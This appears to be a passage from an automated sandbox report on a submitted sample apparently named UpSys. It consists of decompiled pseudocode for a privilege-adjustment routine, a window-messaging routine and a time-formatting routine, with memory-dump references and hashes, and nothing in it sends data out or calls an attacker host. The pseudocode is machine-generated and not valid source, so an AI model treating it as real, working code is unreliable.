                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
                                                                                                                                                                                                        • String ID: SeShutdownPrivilege
                                                                                                                                                                                                        • API String ID: 107509674-3733053543
                                                                                                                                                                                                        • Opcode ID: 45241693d8e125a6582cc127e6cabe3f02223282fe0a1e391117280ba84d0d54
                                                                                                                                                                                                        • Instruction ID: de8a55ed07d1b33e3c23feb79d085e3d3003e70912d017ba8f5129e0d05aae7f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 45241693d8e125a6582cc127e6cabe3f02223282fe0a1e391117280ba84d0d54
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 87217C32704B41C6E7658F26B84579AB7A1F7CC784F454039FBCA53AAACF78C8498B44
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400558A0 Relevance: 15.2, APIs: 10, Instructions: 176windowCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 27%
                                                                                                                                                                                                        			E000000011400558A0(void* __esp, void* __rax, long long __rbx, signed int __rsi, long long __rbp, void* __r8, void* __r10, void* __r11, long long _a8, char _a16, long _a20, signed int _a24, long long _a40, intOrPtr _a52, long long _a56, char _a72, void* _a8264, char _a8344, intOrPtr _a8352) {
				char _v0;
				signed int _v8;
				long _t68;
				long _t69;
				long _t71;
				signed short _t85;
				intOrPtr _t118;
				intOrPtr _t119;
				intOrPtr _t121;
				intOrPtr _t122;
				long long _t124;
				intOrPtr _t133;
				intOrPtr _t139;
				intOrPtr* _t152;
				void* _t157;
				intOrPtr _t176;
				void* _t189;
				signed long long _t191;

				_t187 = __r11;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				E00000001140030CB0(0x2070, __rax, __r10, __r11);
				_t124 = r9d;
				_t189 = __r8;
				if (E0000000114004E0B0(_a8352, 0x400c6a00,  &_v8,  &_v0, _t187) != 0) goto 0x400558f3;
				goto 0x40055b76;
				_t118 =  *0x400c6aa0; // 0x0
				_t191 = _v0;
				_t119 =  *0x400c6ac8; // 0x3264820
				r9d = 0;
				r8d = 0;
				_a8 =  *((intOrPtr*)( *((intOrPtr*)(_t118 + _v8 * 8))));
				 *((long long*)(__r8 + 0x60)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t119 + _t191 * 8))))));
				_t121 =  *0x400c6ac8; // 0x3264820
				_t122 =  *((intOrPtr*)( *((intOrPtr*)(_t121 + _t191 * 8))));
				 *((char*)(__r8 + 0xf7)) =  *((intOrPtr*)(_t122 + 0xf7));
				SendMessageW(??, ??, ??, ??);
				r9d = 0;
				r8d = 0;
				_t68 = SendMessageW(??, ??, ??, ??);
				 *(__r8 + 0xf8) = _t68;
				_t133 =  *0x400c6ac8; // 0x3264820
				_t152 =  *((intOrPtr*)(_t133 + _t191 * 8));
				 *( *_t152 + 0xf8) = _t68;
				_t69 = GetWindowLongW(??, ??);
				_t24 = _t152 + 0x38; // 0x38
				r8d = _t24;
				_v8 = _t69;
				E00000001140017520(_t69,  *((intOrPtr*)(_t122 + 0xf7)), 0,  &_a16, _t152,  &_v8);
				r9d = 0;
				r8d = 0;
				_t71 = SendMessageW(??, ??, ??, ??);
				_a16 = 7;
				_v0 = _a8344;
				 *(__r8 + 0xec) = _t71;
				_t139 =  *0x400c6ac8; // 0x3264820
				_t30 = _t157 - 3; // -2
				r8d = _t30;
				_a52 = r8d;
				_a56 = _t124;
				_a40 =  &_a72;
				r8d =  >  ?  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t139 + _t191 * 8)))) + 0x100)) : r8d;
				_a52 = r8d;
				_a20 = _t71;
				_a24 = 0;
				E0000000114003D760( *((intOrPtr*)(_t122 + 0xf7)), __esp,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t139 + _t191 * 8)))) + 0x100)) - 0xffffffff, _t122, _t124,  &_a72,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t119 + _t191 * 8)))))),  *((intOrPtr*)( *((intOrPtr*)(_t118 + _v8 * 8)))),  &_v0, 0x400c6a14);
				r8d = 0;
				if (SendMessageW(??, ??, ??, ??) == 0xffffffff) goto 0x400558ec;
				E0000000114003D760( *((intOrPtr*)(_t122 + 0xf7)), __esp, SendMessageW(??, ??, ??, ??) - 0xffffffff, _t122, _t124,  &_a72,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t119 + _t191 * 8)))))),  *((intOrPtr*)( *((intOrPtr*)(_t118 + _v8 * 8)))),  &_v0, 0x400c6a14);
				if (0 == 0) goto 0x40055b44;
				_a24 = 1;
				if (1 - r15d > 0) goto 0x40055b29;
				if (_a72 == 0) goto 0x40055abf;
				SendMessageW(??, ??, ??, ??);
				if (_t122 == _t124) goto 0x400558ec;
				if ((bpl & 0x00000001) == 0) goto 0x40055b22;
				r8d = 0;
				SendMessageW(??, ??, ??, ??);
				_t52 = _t122 + 0xc; // 0xc
				_t85 =  >  ? 0x96 : _t52;
				r9d = 0;
				SendMessageW(??, ??, ??, ??);
				if (_t122 - _t85 > 0) goto 0x40055b1c;
				r9d = _t85 & 0x0000ffff;
				SendMessageW(??, ??, ??, ??);
				goto 0x40055a67;
				SendMessageW(??, ??, ??, ??);
				goto 0x400558ec;
				if ( *((char*)(_t189 + 0xf7)) == 0xff) goto 0x40055b74;
				_t176 =  *0x400c6ac8; // 0x3264820
				r9d = 1;
				E0000000114003DCE0(_t124, _a8,  *((intOrPtr*)( *((intOrPtr*)(_t176 + _t191 * 8)))));
				return 1;
			}





















                                                                                                                                                                                                        0x1400558a0
                                                                                                                                                                                                        0x1400558a0
                                                                                                                                                                                                        0x1400558a5
                                                                                                                                                                                                        0x1400558aa
                                                                                                                                                                                                        0x1400558bd
                                                                                                                                                                                                        0x1400558cc
                                                                                                                                                                                                        0x1400558cf
                                                                                                                                                                                                        0x1400558ea
                                                                                                                                                                                                        0x1400558ee
                                                                                                                                                                                                        0x1400558f3
                                                                                                                                                                                                        0x1400558fa
                                                                                                                                                                                                        0x140055908
                                                                                                                                                                                                        0x14005590f
                                                                                                                                                                                                        0x140055919
                                                                                                                                                                                                        0x140055924
                                                                                                                                                                                                        0x14005592c
                                                                                                                                                                                                        0x140055931
                                                                                                                                                                                                        0x14005593c
                                                                                                                                                                                                        0x140055945
                                                                                                                                                                                                        0x140055950
                                                                                                                                                                                                        0x140055956
                                                                                                                                                                                                        0x140055959
                                                                                                                                                                                                        0x140055964
                                                                                                                                                                                                        0x14005596a
                                                                                                                                                                                                        0x140055973
                                                                                                                                                                                                        0x14005597d
                                                                                                                                                                                                        0x140055989
                                                                                                                                                                                                        0x140055993
                                                                                                                                                                                                        0x1400559a0
                                                                                                                                                                                                        0x1400559a0
                                                                                                                                                                                                        0x1400559a6
                                                                                                                                                                                                        0x1400559aa
                                                                                                                                                                                                        0x1400559af
                                                                                                                                                                                                        0x1400559b2
                                                                                                                                                                                                        0x1400559bd
                                                                                                                                                                                                        0x1400559cb
                                                                                                                                                                                                        0x1400559d3
                                                                                                                                                                                                        0x1400559d8
                                                                                                                                                                                                        0x1400559e1
                                                                                                                                                                                                        0x1400559f4
                                                                                                                                                                                                        0x1400559f4
                                                                                                                                                                                                        0x1400559f8
                                                                                                                                                                                                        0x140055a0f
                                                                                                                                                                                                        0x140055a17
                                                                                                                                                                                                        0x140055a23
                                                                                                                                                                                                        0x140055a2e
                                                                                                                                                                                                        0x140055a38
                                                                                                                                                                                                        0x140055a3c
                                                                                                                                                                                                        0x140055a40
                                                                                                                                                                                                        0x140055a4a
                                                                                                                                                                                                        0x140055a61
                                                                                                                                                                                                        0x140055a7f
                                                                                                                                                                                                        0x140055a86
                                                                                                                                                                                                        0x140055a8f
                                                                                                                                                                                                        0x140055a93
                                                                                                                                                                                                        0x140055a9e
                                                                                                                                                                                                        0x140055ab0
                                                                                                                                                                                                        0x140055ab9
                                                                                                                                                                                                        0x140055ac3
                                                                                                                                                                                                        0x140055aca
                                                                                                                                                                                                        0x140055ad5
                                                                                                                                                                                                        0x140055ae3
                                                                                                                                                                                                        0x140055af3
                                                                                                                                                                                                        0x140055af6
                                                                                                                                                                                                        0x140055af9
                                                                                                                                                                                                        0x140055b05
                                                                                                                                                                                                        0x140055b07
                                                                                                                                                                                                        0x140055b16
                                                                                                                                                                                                        0x140055b24
                                                                                                                                                                                                        0x140055b39
                                                                                                                                                                                                        0x140055b3f
                                                                                                                                                                                                        0x140055b4d
                                                                                                                                                                                                        0x140055b4f
                                                                                                                                                                                                        0x140055b66
                                                                                                                                                                                                        0x140055b6f
                                                                                                                                                                                                        0x140055b96

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$LongWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 312131281-0
                                                                                                                                                                                                        • Opcode ID: 54dd2135a89e8976441bf2d25f50554c65cd0b7b64675e0347b9b4ff863db30c
                                                                                                                                                                                                        • Instruction ID: 5785671d28751635a8b967aa870b1856ad62e32c56d475f4a93ad1961f254966
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 54dd2135a89e8976441bf2d25f50554c65cd0b7b64675e0347b9b4ff863db30c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 20816B76218A8086EB22DF66E454BDA7760F78CBD4F544112EB8E53BB4DF39C586CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140028108 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 407timeCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 57%
                                                                                                                                                                                                        			E00000001140028108(void* __edx, long long __rbx, long long __rcx, long long __rdi, long long __rsi, signed short* __r8, intOrPtr* __r9, void* __r11) {
				void* __rbp;
				int _t71;
				intOrPtr _t79;
				intOrPtr _t82;
				void* _t83;
				void* _t87;
				char _t89;
				void* _t90;
				void* _t94;
				void* _t97;
				void* _t116;
				signed char _t117;
				intOrPtr _t118;
				void* _t121;
				char _t123;
				void* _t124;
				void* _t125;
				void* _t167;
				void* _t173;
				void* _t174;
				void* _t184;
				void* _t185;
				void* _t198;
				void* _t199;
				void* _t200;
				signed long long _t208;
				signed long long _t209;
				intOrPtr* _t213;
				intOrPtr* _t217;
				intOrPtr* _t218;
				intOrPtr* _t219;
				long long* _t242;
				intOrPtr* _t254;
				intOrPtr* _t255;
				intOrPtr* _t256;
				intOrPtr* _t257;
				intOrPtr* _t259;
				long long _t267;
				signed long long _t269;
				void* _t270;
				void* _t271;
				void* _t272;
				void* _t275;
				void* _t276;
				void* _t277;
				void* _t285;
				void* _t286;
				void* _t293;
				intOrPtr* _t295;
				int _t296;

				_t286 = __r11;
				_t271 = _t270 - 0x70;
				_t269 = _t271 + 0x40;
				 *((long long*)(_t269 + 0x60)) = __rbx;
				 *((long long*)(_t269 + 0x68)) = __rsi;
				 *((long long*)(_t269 + 0x70)) = __rdi;
				_t208 =  *0x400aeaa0; // 0x9e268096a868
				_t209 = _t208 ^ _t269;
				 *(_t269 + 0x20) = _t209;
				_t296 =  *((intOrPtr*)(_t269 + 0x88));
				_t295 = __r9;
				 *_t269 = __r8;
				r8d = 0;
				 *((long long*)(_t269 + 0x18)) = __rcx;
				r11d = 1;
				if (__edx == r8d) goto 0x40028172;
				if (__edx == r11d) goto 0x40028169;
				goto 0x40028179;
				goto 0x40028179;
				_t254 =  *((intOrPtr*)(_t296 + 0x140));
				if ( *((intOrPtr*)(_t296 + 0x15c)) == r11d) goto 0x400282e7;
				_t293 =  !=  ? __imp__GetDateFormatA : GetTimeFormatA;
				 *((intOrPtr*)(_t271 + 0x28)) = r8d;
				 *((intOrPtr*)(_t269 + 0x16)) = r8w;
				 *((short*)(_t269 + 8)) = (__r8[0xa] & 0x0000ffff) + 0x76c;
				 *((long long*)(_t271 + 0x20)) = __r8;
				_t275 = _t269 + 8;
				 *((short*)(_t269 + 0xa)) = (__r8[8] & 0x0000ffff) + r11w;
				 *((short*)(_t269 + 0xe)) = __r8[6] & 0x0000ffff;
				 *((short*)(_t269 + 0x10)) = __r8[4] & 0x0000ffff;
				 *((short*)(_t269 + 0x12)) = __r8[2] & 0x0000ffff;
				 *((short*)(_t269 + 0x14)) =  *__r8 & 0x0000ffff;
				_t71 = GetTimeFormatA(??, ??, ??, ??, ??, ??);
				r8d = 0;
				r12d = _t71;
				if (_t71 == r8d) goto 0x400282d9;
				if (_t71 + 0x10 - 0x400 > 0) goto 0x4002824e;
				_t28 = _t209 + 0xf; // -1
				if (_t28 - _t209 > 0) goto 0x40028229;
				E00000001140030CB0(_t209, 0xfffffff0, _t285, __r11);
				_t272 = _t271 - 0xffffffffffffff0;
				_t213 = _t272 + 0x40;
				if (_t213 == _t275) goto 0x400282d9;
				 *_t213 = 0xcccc;
				goto 0x40028267;
				malloc(??);
				r8d = 0;
				if (0xfffffff0 == _t275) goto 0x4002826b;
				 *0xfffffff0 = 0xdddd;
				if (0xfffffff0 == _t275) goto 0x400282d9;
				_t276 = _t269 + 8;
				 *(_t272 + 0x28) = r12d;
				 *((long long*)(_t272 + 0x20)) = 0xfffffff0;
				GetTimeFormatA(??, ??, ??, ??, ??, ??);
				r11d = 0xfffffffffffffef;
				if (r11d <= 0) goto 0x400282be;
				_t242 =  *((intOrPtr*)(_t269 + 0x80));
				if ( *_t242 <= 0) goto 0x400282be;
				r11d = r11d - 1;
				 *((char*)( *__r9)) =  *0xfffffff0;
				 *((long long*)(__r9)) =  *((long long*)(__r9)) + 1;
				 *_t242 =  *_t242 - 1;
				if (r11d > 0) goto 0x400282a0;
				if ( *((intOrPtr*)(0xffffffffffffff0)) != 0xdddd) goto 0x400282cf;
				free(??);
				goto 0x40028665;
				r11d = 1;
				_t79 =  *_t254;
				if (_t79 == r8b) goto 0x40028662;
				_t267 =  *((intOrPtr*)(_t269 + 0x80));
				if ( *_t267 == _t276) goto 0x40028662;
				if ( *((intOrPtr*)(_t254 + _t286)) == _t79) goto 0x4002830e;
				r8d = _t79;
				_t167 = r8d - 0x64;
				if (_t167 > 0) goto 0x40028492;
				if (_t167 == 0) goto 0x40028462;
				if (r8d == 0x27) goto 0x400283d7;
				if (r8d == 0x41) goto 0x40028357;
				if (r8d == 0x48) goto 0x400283a0;
				if (r8d == 0x4d) goto 0x40028370;
				if (r8d != 0x61) goto 0x400285d9;
				_t173 = E0000000114002DA80(_t254, 0x4009a108, _t276);
				if (_t173 != 0) goto 0x400283b9;
				goto 0x400283d0;
				if (_t173 == 0) goto 0x40028396;
				if (_t173 == 0) goto 0x40028399;
				_t116 = r8d + r11d - r11d - r11d - r11d;
				if (_t173 == 0) goto 0x4002838f;
				_t174 = _t116 - r11d;
				if (_t174 != 0) goto 0x400285d9;
				goto 0x40028622;
				goto 0x40028622;
				goto 0x40028622;
				_t117 = _t116 - r11d;
				if (_t174 == 0) goto 0x400283af;
				if (_t117 == r11d) goto 0x400283b2;
				goto 0x400285d9;
				goto 0x40028622;
				if (E0000000114002DA80(_t254, 0x4009a104, _t276) != 0) goto 0x400283d0;
				goto 0x40028622;
				if ((r11b & _t117) == 0) goto 0x40028454;
				_t255 = _t254 + 0x4009a104;
				r8d = 0;
				_t82 =  *_t255;
				if (_t82 == r8b) goto 0x40028662;
				if ( *_t267 == _t276) goto 0x4002864e;
				if (_t82 == 0x27) goto 0x4002844c;
				_t118 = _t82;
				_t83 = E000000011400177DC(_t118, _t82 - 0x27, 0xfffffff0, _t286);
				r8d = 0;
				_t43 = _t276 + 1; // 0x1
				r11d = _t43;
				if (_t83 == r8d) goto 0x40028430;
				if ( *_t267 - _t286 <= 0) goto 0x40028430;
				if ( *((intOrPtr*)(_t255 + 1)) == r8b) goto 0x4002865e;
				_t256 = _t255 + 1;
				 *((char*)( *_t295)) =  *_t255;
				 *_t295 =  *_t295 + _t286;
				 *_t267 =  *_t267 - 1;
				_t257 = _t256 + _t286;
				 *((char*)( *_t295)) =  *_t256;
				 *_t295 =  *_t295 + _t286;
				 *_t267 =  *_t267 - 1;
				_t184 =  *_t257 - r8b;
				if (_t184 != 0) goto 0x400283ed;
				goto 0x4002864e;
				goto 0x4002864e;
				_t259 = _t257 + _t286 + _t118;
				r8d = 0;
				goto 0x4002864e;
				if (_t184 == 0) goto 0x40028488;
				if (_t184 == 0) goto 0x4002848b;
				_t121 = _t118 - r11d - r11d - r11d;
				if (_t184 == 0) goto 0x40028481;
				_t185 = _t121 - r11d;
				if (_t185 != 0) goto 0x400285d9;
				goto 0x40028622;
				goto 0x40028622;
				goto 0x40028622;
				if (_t185 == 0) goto 0x400285cf;
				if (_t185 == 0) goto 0x400285bc;
				if (_t185 == 0) goto 0x400285a9;
				if (_t185 == 0) goto 0x400284da;
				if (_t185 != 0) goto 0x400285d9;
				if (_t121 == 2) goto 0x400284d3;
				if (_t121 != 4) goto 0x400285d9;
				goto 0x40028622;
				goto 0x40028622;
				if ( *((intOrPtr*)( *_t269 + 8)) - 0xb > 0) goto 0x400284ea;
				goto 0x400284f1;
				_t217 =  *((intOrPtr*)(_t296 + 0x138));
				r8d = 0;
				if (_t121 != r11d) goto 0x4002859d;
				if ( *_t267 - _t276 <= 0) goto 0x4002859d;
				_t87 = E000000011400177DC( *_t217,  *_t267 - _t276, _t118, _t286);
				r8d = 0;
				_t48 = _t276 + 1; // 0x1
				r11d = _t48;
				if (_t87 == r8d) goto 0x4002853c;
				if ( *_t267 - _t286 <= 0) goto 0x4002853c;
				if ( *((intOrPtr*)(_t217 + 1)) == r8b) goto 0x4002865e;
				_t218 = _t217 + 1;
				 *((char*)( *_t295)) =  *_t217;
				 *_t295 =  *_t295 + _t286;
				 *_t267 =  *_t267 - 1;
				_t89 =  *_t218;
				 *((char*)( *_t295)) = _t89;
				 *_t295 =  *_t295 + _t286;
				 *_t267 =  *_t267 - 1;
				goto 0x4002864b;
				if ( *_t267 - _t276 <= 0) goto 0x4002864b;
				_t123 = _t89;
				_t90 = E000000011400177DC(_t123,  *_t267 - _t276, _t118, _t286);
				r8d = 0;
				_t50 = _t276 + 1; // 0x1
				r11d = _t50;
				if (_t90 == r8d) goto 0x4002858d;
				if ( *_t267 - _t286 <= 0) goto 0x4002858d;
				if ( *((intOrPtr*)(_t218 + 1)) == r8b) goto 0x4002865e;
				_t219 = _t218 + 1;
				 *((char*)( *_t295)) =  *_t218;
				 *_t295 =  *_t295 + _t286;
				 *_t267 =  *_t267 - 1;
				 *((char*)( *_t295)) =  *_t219;
				 *_t295 =  *_t295 + _t286;
				 *_t267 =  *_t267 - 1;
				_t198 =  *((intOrPtr*)(_t219 + _t286)) - r8b;
				if (_t198 != 0) goto 0x4002854e;
				goto 0x4002864b;
				_t124 = _t123 - r11d;
				if (_t198 == 0) goto 0x400285b5;
				_t199 = _t124 - r11d;
				if (_t199 == 0) goto 0x400285b8;
				goto 0x400285d9;
				goto 0x40028622;
				_t125 = _t124 - r11d;
				if (_t199 == 0) goto 0x400285c8;
				_t200 = _t125 - r11d;
				if (_t200 == 0) goto 0x400285cb;
				goto 0x400285d9;
				goto 0x40028622;
				if (_t200 == 0) goto 0x4002861d;
				if (_t125 - r11d == r11d) goto 0x40028620;
				_t94 = E000000011400177DC(r8d, _t125 - r11d - r11d, _t118, _t286);
				r8d = 0;
				_t52 = _t276 + 1; // 0x1
				r11d = _t52;
				if (_t94 == r8d) goto 0x4002860b;
				if ( *_t267 - _t286 <= 0) goto 0x4002860b;
				if ( *((intOrPtr*)(_t259 + 1)) == r8b) goto 0x4002865e;
				 *((char*)( *_t295)) =  *_t259;
				 *_t295 =  *_t295 + _t286;
				 *_t267 =  *_t267 - 1;
				 *((char*)( *_t295)) =  *((intOrPtr*)(_t259 + 1));
				 *_t295 =  *_t295 + _t286;
				 *_t267 =  *_t267 - 1;
				goto 0x4002864e;
				_t277 =  *_t269;
				 *((intOrPtr*)(_t272 + 0x30)) = r11d;
				 *(_t272 + 0x28) = _t296;
				 *((long long*)(_t272 + 0x20)) = _t267;
				_t97 = E00000001140027AAC(0x49, _t219 + _t286,  *((intOrPtr*)(_t269 + 0x18)),  *((intOrPtr*)(_t269 + 0x18)), _t259 + 1 + _t286, _t267, _t269, _t277, _t295);
				r8d = 0;
				if (_t97 == r8d) goto 0x4002865e;
				_t57 = _t277 + 1; // 0x1
				r11d = _t57;
				if ( *((intOrPtr*)(_t254 + 3)) == r8b) goto 0x40028662;
				goto 0x400282f9;
				goto 0x40028665;
				return E00000001140028D30(r8d, _t219 + _t286,  *(_t269 + 0x20) ^ _t269,  *_t269);
			}





















































                                                                                                                                                                                                        0x140028108
                                                                                                                                                                                                        0x140028112
                                                                                                                                                                                                        0x140028116
                                                                                                                                                                                                        0x14002811b
                                                                                                                                                                                                        0x14002811f
                                                                                                                                                                                                        0x140028123
                                                                                                                                                                                                        0x140028127
                                                                                                                                                                                                        0x14002812e
                                                                                                                                                                                                        0x140028131
                                                                                                                                                                                                        0x140028135
                                                                                                                                                                                                        0x14002813c
                                                                                                                                                                                                        0x14002813f
                                                                                                                                                                                                        0x140028146
                                                                                                                                                                                                        0x14002814c
                                                                                                                                                                                                        0x140028150
                                                                                                                                                                                                        0x140028159
                                                                                                                                                                                                        0x14002815e
                                                                                                                                                                                                        0x140028167
                                                                                                                                                                                                        0x140028170
                                                                                                                                                                                                        0x140028172
                                                                                                                                                                                                        0x140028180
                                                                                                                                                                                                        0x140028195
                                                                                                                                                                                                        0x1400281a2
                                                                                                                                                                                                        0x1400281b1
                                                                                                                                                                                                        0x1400281b6
                                                                                                                                                                                                        0x1400281bf
                                                                                                                                                                                                        0x1400281c8
                                                                                                                                                                                                        0x1400281ce
                                                                                                                                                                                                        0x1400281d7
                                                                                                                                                                                                        0x1400281e0
                                                                                                                                                                                                        0x1400281e9
                                                                                                                                                                                                        0x1400281f4
                                                                                                                                                                                                        0x1400281f8
                                                                                                                                                                                                        0x1400281fb
                                                                                                                                                                                                        0x1400281fe
                                                                                                                                                                                                        0x140028204
                                                                                                                                                                                                        0x140028212
                                                                                                                                                                                                        0x140028216
                                                                                                                                                                                                        0x14002821d
                                                                                                                                                                                                        0x140028230
                                                                                                                                                                                                        0x140028235
                                                                                                                                                                                                        0x140028238
                                                                                                                                                                                                        0x140028240
                                                                                                                                                                                                        0x140028246
                                                                                                                                                                                                        0x14002824c
                                                                                                                                                                                                        0x140028251
                                                                                                                                                                                                        0x140028256
                                                                                                                                                                                                        0x14002825f
                                                                                                                                                                                                        0x140028261
                                                                                                                                                                                                        0x14002826e
                                                                                                                                                                                                        0x140028277
                                                                                                                                                                                                        0x140028280
                                                                                                                                                                                                        0x140028288
                                                                                                                                                                                                        0x14002828d
                                                                                                                                                                                                        0x140028290
                                                                                                                                                                                                        0x140028297
                                                                                                                                                                                                        0x140028299
                                                                                                                                                                                                        0x1400282a4
                                                                                                                                                                                                        0x1400282ab
                                                                                                                                                                                                        0x1400282ae
                                                                                                                                                                                                        0x1400282b0
                                                                                                                                                                                                        0x1400282b3
                                                                                                                                                                                                        0x1400282bc
                                                                                                                                                                                                        0x1400282c8
                                                                                                                                                                                                        0x1400282ca
                                                                                                                                                                                                        0x1400282d4
                                                                                                                                                                                                        0x1400282e1
                                                                                                                                                                                                        0x1400282e7
                                                                                                                                                                                                        0x1400282ec
                                                                                                                                                                                                        0x1400282f2
                                                                                                                                                                                                        0x1400282fc
                                                                                                                                                                                                        0x14002831b
                                                                                                                                                                                                        0x14002831d
                                                                                                                                                                                                        0x140028321
                                                                                                                                                                                                        0x140028325
                                                                                                                                                                                                        0x14002832b
                                                                                                                                                                                                        0x140028335
                                                                                                                                                                                                        0x14002833f
                                                                                                                                                                                                        0x140028345
                                                                                                                                                                                                        0x14002834b
                                                                                                                                                                                                        0x140028351
                                                                                                                                                                                                        0x140028366
                                                                                                                                                                                                        0x140028368
                                                                                                                                                                                                        0x14002836e
                                                                                                                                                                                                        0x140028373
                                                                                                                                                                                                        0x140028378
                                                                                                                                                                                                        0x14002837a
                                                                                                                                                                                                        0x14002837d
                                                                                                                                                                                                        0x14002837f
                                                                                                                                                                                                        0x140028382
                                                                                                                                                                                                        0x14002838a
                                                                                                                                                                                                        0x140028391
                                                                                                                                                                                                        0x14002839b
                                                                                                                                                                                                        0x1400283a0
                                                                                                                                                                                                        0x1400283a3
                                                                                                                                                                                                        0x1400283a8
                                                                                                                                                                                                        0x1400283aa
                                                                                                                                                                                                        0x1400283b4
                                                                                                                                                                                                        0x1400283ca
                                                                                                                                                                                                        0x1400283d2
                                                                                                                                                                                                        0x1400283da
                                                                                                                                                                                                        0x1400283dc
                                                                                                                                                                                                        0x1400283df
                                                                                                                                                                                                        0x1400283e2
                                                                                                                                                                                                        0x1400283e7
                                                                                                                                                                                                        0x1400283f0
                                                                                                                                                                                                        0x1400283f8
                                                                                                                                                                                                        0x1400283fa
                                                                                                                                                                                                        0x140028400
                                                                                                                                                                                                        0x140028405
                                                                                                                                                                                                        0x140028408
                                                                                                                                                                                                        0x140028408
                                                                                                                                                                                                        0x14002840f
                                                                                                                                                                                                        0x140028414
                                                                                                                                                                                                        0x14002841a
                                                                                                                                                                                                        0x140028425
                                                                                                                                                                                                        0x140028428
                                                                                                                                                                                                        0x14002842a
                                                                                                                                                                                                        0x14002842d
                                                                                                                                                                                                        0x140028435
                                                                                                                                                                                                        0x140028438
                                                                                                                                                                                                        0x14002843a
                                                                                                                                                                                                        0x14002843d
                                                                                                                                                                                                        0x140028442
                                                                                                                                                                                                        0x140028445
                                                                                                                                                                                                        0x140028447
                                                                                                                                                                                                        0x14002844f
                                                                                                                                                                                                        0x140028457
                                                                                                                                                                                                        0x14002845a
                                                                                                                                                                                                        0x14002845d
                                                                                                                                                                                                        0x140028465
                                                                                                                                                                                                        0x14002846a
                                                                                                                                                                                                        0x14002846c
                                                                                                                                                                                                        0x14002846f
                                                                                                                                                                                                        0x140028471
                                                                                                                                                                                                        0x140028474
                                                                                                                                                                                                        0x14002847c
                                                                                                                                                                                                        0x140028483
                                                                                                                                                                                                        0x14002848d
                                                                                                                                                                                                        0x140028498
                                                                                                                                                                                                        0x1400284a1
                                                                                                                                                                                                        0x1400284aa
                                                                                                                                                                                                        0x1400284b3
                                                                                                                                                                                                        0x1400284b8
                                                                                                                                                                                                        0x1400284c1
                                                                                                                                                                                                        0x1400284c6
                                                                                                                                                                                                        0x1400284ce
                                                                                                                                                                                                        0x1400284d5
                                                                                                                                                                                                        0x1400284df
                                                                                                                                                                                                        0x1400284e8
                                                                                                                                                                                                        0x1400284ea
                                                                                                                                                                                                        0x1400284f1
                                                                                                                                                                                                        0x1400284f7
                                                                                                                                                                                                        0x140028500
                                                                                                                                                                                                        0x14002850c
                                                                                                                                                                                                        0x140028511
                                                                                                                                                                                                        0x140028514
                                                                                                                                                                                                        0x140028514
                                                                                                                                                                                                        0x14002851b
                                                                                                                                                                                                        0x140028520
                                                                                                                                                                                                        0x140028526
                                                                                                                                                                                                        0x140028531
                                                                                                                                                                                                        0x140028534
                                                                                                                                                                                                        0x140028536
                                                                                                                                                                                                        0x140028539
                                                                                                                                                                                                        0x14002853f
                                                                                                                                                                                                        0x140028541
                                                                                                                                                                                                        0x140028543
                                                                                                                                                                                                        0x140028546
                                                                                                                                                                                                        0x140028549
                                                                                                                                                                                                        0x140028551
                                                                                                                                                                                                        0x140028557
                                                                                                                                                                                                        0x14002855d
                                                                                                                                                                                                        0x140028562
                                                                                                                                                                                                        0x140028565
                                                                                                                                                                                                        0x140028565
                                                                                                                                                                                                        0x14002856c
                                                                                                                                                                                                        0x140028571
                                                                                                                                                                                                        0x140028577
                                                                                                                                                                                                        0x140028582
                                                                                                                                                                                                        0x140028585
                                                                                                                                                                                                        0x140028587
                                                                                                                                                                                                        0x14002858a
                                                                                                                                                                                                        0x140028595
